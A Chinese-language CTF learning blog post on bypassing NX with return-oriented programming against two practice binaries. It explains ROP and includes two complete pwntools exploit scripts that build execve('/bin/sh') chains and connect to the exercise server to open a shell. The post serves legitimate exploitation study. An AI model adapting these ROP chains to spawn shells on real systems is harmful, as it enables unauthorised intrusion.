Pwn学习总结(6):NX与ROP

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/NX/rop
https://github.com/bjrjk/pwn-learning/tree/main/NX/rop2

Remote:

nc hackme.inndy.tw 7704
nc hackme.inndy.tw 7703

我们首先来看rop。
老规矩,首先checksec rop,得到如下信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以注意到,这次的ELF文件,NX的保护措施已经开启了,这就意味着,凡是用户能够控制的数据段(包括bss、stack等),都不再可执行了。因此,我们不能通过向栈上填充shellcode的方法进行getshell了。

此时,栈上只能填充供其他函数使用的数据或者返回地址。所以,我们需要提出一个新的概念,利用代码段中现有的指令组合成shellcode进行执行。这个概念就是ROP (Return-Oriented Programming),面向返回的编程。

对于ROP,我在网上没有找到一个标准清晰的定义,我说一说自己对ROP的理解:x86体系结构在栈中布局返回地址和数据。当NX被关闭时,数据不再可执行,唯一能够影响控制流的就是栈上的返回地址,因此,这种布局手法叫做面向“返回”的编程。我们从程序的Binary中搜索出很多可被我们所利用的、后接ret指令的汇编片段,并借助这些汇编片段的组合完成我们的整个渗透过程,随系统体系结构和ABI的不同,我们布局栈的方式也不相同。例如,amd64 ABI的整数参数在寄存器里,因此我们还需要利用ROP将利用栈溢出存入栈上的参数POP到寄存器中,而对于i386 ABI,参数全部布局在栈里,则无此问题。

好了,我们回到rop的程序本身。用IDA打开查看,发现函数列表里有一大堆东西,因此怀疑这个程序是静态链接的,后面用ldd查看,发现这个ELF确实是静态链接的。在函数列表中查询,也没有发现system函数。到此,思路陷入僵局。经过查看参考资料[1],发现可以直接用ROPGadget生成ROPChain利用链[捂脸]。这样就非常轻松了。

执行的具体指令如下:

ROPgadget --binary rop --ropchain

得到ROP链,再将其与IDA得到的相关信息结合,可得下列PoC:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

# ROPgadget --binary rop --ropchain

# Padding goes here
p = 0x10*'0'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io = remote("hackme.inndy.tw", 7704)
#io = process('./rop')
io.sendline(p)
io.interactive()

通过本程序的实践,我的一个感受是,对于静态链接的程序,由于融合进来的代码很多,因此一般便于ROPgadget的ROPchain的自动发掘,而对于动态链接的程序,代码一般较少,就需要手动进行ROPchain的发掘。

我们再来看rop2。经测试,rop2是一个动态链接的程序,使用ROPgadget也无法自动化发掘出ROP链,因此只能使用手动分析的方法。使用IDA查看,发现还基本上没引入什么libc中的符号,最引人瞩目的就是syscall函数。如果你曾经使用过linux的系统调用,你就应该知道可以通过系统调用的方式执行标准IO读写(read, write)和程序的执行(execve),本程序是i386程序,对应的系统调用号和参数可参考资料[2]。

在本程序中,overflow函数存在栈溢出漏洞。我们只需要执行execve("/bin/sh", NULL, NULL)即可,但程序中并不存在"/bin/sh"这个字符串,我也懒得去用泄漏libc地址的方法去找libc里的字符串。于是一个想法就是先用栈溢出执行read系统调用把"/bin/sh"从stdin读到一个可写的内存位置,第二次再用栈溢出执行execve并把这个字符串的地址传过去。

一开始我的想法是用栈存这个字符串,后来一想不行。虽然程序关了PIE,但栈的基址也是由操作系统决定的,而且你也不好泄漏栈的基址。后来看[1]处的想法,恍然大悟:可以用bss段存!我个人觉得这里其实用data段存应该也行,不过我没试。

于是能够得到下面的PoC:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

p = remote("hackme.inndy.tw", 7703)
#p = process('./rop2')
elf = ELF('./rop2')

syscall_plt = elf.plt['syscall']
overflow_func = elf.sym['overflow']
main_func = elf.sym['main']
bss_buf = elf.bss()

p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(read, 0, &bss, 1024) + main()
payload1 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(3)+p32(0)+p32(bss_buf)+p32(1024)
p.sendline(payload1)

# Send "/bin/sh" to &bss
payload2 = "/bin/sh\x00"
p.sendline(payload2)

p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(execve, "/bin/sh", NULL, NULL) + main()
payload3 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(11)+p32(bss_buf)+p32(0)+p32(0)
p.sendline(payload3)

with open("poc.txt", "w") as f:
    f.write(payload1)
    f.write("\n")
    f.write(payload2)
    f.write("\n")
    f.write(payload3)
    f.write("\n")

p.interactive()

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78259866
[2] https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
[3] http://asm.sourceforge.net/syscall.html
[4] https://docs.pwntools.com/en/latest/elf/elf.html
[5] https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注